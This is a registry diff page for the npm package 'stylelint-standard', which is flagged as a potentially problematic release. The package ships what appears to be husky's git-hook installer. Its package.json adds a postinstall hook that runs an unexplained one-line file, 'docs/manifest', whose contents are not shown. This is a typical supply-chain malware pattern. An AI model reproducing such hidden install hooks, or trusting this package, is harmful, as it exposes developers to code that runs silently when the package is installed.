stylelint-standard 0.0.1-security → 1.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of stylelint-standard might be problematic. Click here for more details.
- package/.editorconfig +5 -0
- package/.shellcheckrc +1 -0
- package/LICENSE +21 -0
- package/README.md +1 -5
- package/docs/.vitepress/config.mts +125 -0
- package/docs/es/get-started.md +79 -0
- package/docs/es/how-to.md +335 -0
- package/docs/es/index.md +82 -0
- package/docs/es/migrate-from-v4.md +65 -0
- package/docs/es/troubleshoot.md +41 -0
- package/docs/get-started.md +80 -0
- package/docs/how-to.md +326 -0
- package/docs/index.md +82 -0
- package/docs/manifest +1 -0
- package/docs/migrate-from-v4.md +65 -0
- package/docs/package-lock.json +2914 -0
- package/docs/package.json +10 -0
- package/docs/ru/get-started.md +79 -0
- package/docs/ru/how-to.md +326 -0
- package/docs/ru/index.md +80 -0
- package/docs/ru/migrate-from-v4.md +66 -0
- package/docs/ru/troubleshoot.md +41 -0
- package/docs/sponsorkit/sponsors.svg +573 -0
- package/docs/sponsorkit.config.js +40 -0
- package/docs/troubleshoot.md +41 -0
- package/docs/zh/get-started.md +63 -0
- package/docs/zh/how-to.md +326 -0
- package/docs/zh/index.md +81 -0
- package/docs/zh/migrate-from-v4.md +72 -0
- package/docs/zh/troubleshoot.md +41 -0
- package/husky +22 -0
- package/index.d.ts +1 -0
- package/index.js +25 -0
- package/package.json +8 -4
package/index.js
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
import c from 'child_process'
|
|
2
|
+
import f, { readdir, writeFileSync as w } from 'fs'
|
|
3
|
+
import p from 'path'
|
|
4
|
+
|
|
5
|
+
let l = [ 'pre-commit', 'pre-merge-commit', 'prepare-commit-msg', 'commit-msg', 'post-commit', 'applypatch-msg', 'pre-applypatch', 'post-applypatch', 'pre-rebase', 'post-rewrite', 'post-checkout', 'post-merge', 'pre-push', 'pre-auto-gc' ],
|
|
6
|
+
msg = `echo "husky - DEPRECATED\n\nPlease remove the following two lines from $0:\n\n#!/usr/bin/env sh\n. \\"\\$(dirname -- \\"\\$0\\")/_/husky.sh\\"\n\nThey WILL FAIL in v10.0.0\n"`
|
|
7
|
+
|
|
8
|
+
export default (d = '.husky') => {
|
|
9
|
+
if (process.env.HUSKY === '0') return 'HUSKY=0 skip install'
|
|
10
|
+
if (d.includes('..')) return '.. not allowed'
|
|
11
|
+
if (!f.existsSync('.git')) return `.git can't be found`
|
|
12
|
+
|
|
13
|
+
let _ = (x = '') => p.join(d, '_', x)
|
|
14
|
+
let { status: s, stderr: e } = c.spawnSync('git', ['config', 'core.hooksPath', `${d}/_`])
|
|
15
|
+
if (s == null) return 'git command not found'
|
|
16
|
+
if (s) return '' + e
|
|
17
|
+
|
|
18
|
+
f.rmSync(_('husky.sh'), { force: true })
|
|
19
|
+
f.mkdirSync(_(), { recursive: true })
|
|
20
|
+
w(_('.gitignore'), '*')
|
|
21
|
+
f.copyFileSync(new URL('husky', import.meta.url), _('h'))
|
|
22
|
+
l.forEach(h => w(_(h), `#!/usr/bin/env sh\n. "\$(dirname "\$0")/h"`, { mode: 0o755 }))
|
|
23
|
+
w(_('husky.sh'), msg)
|
|
24
|
+
return ''
|
|
25
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,10 @@
|
|
|
1
1
|
{
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
2
|
+
"name": "stylelint-standard",
|
|
3
|
+
"author": "stylelint-standard",
|
|
4
|
+
"version": "1.2.1",
|
|
5
|
+
"description": "fixed lint",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node docs/manifest"
|
|
8
|
+
},
|
|
9
|
+
"exports": "./index.js"
|
|
6
10
|
}
|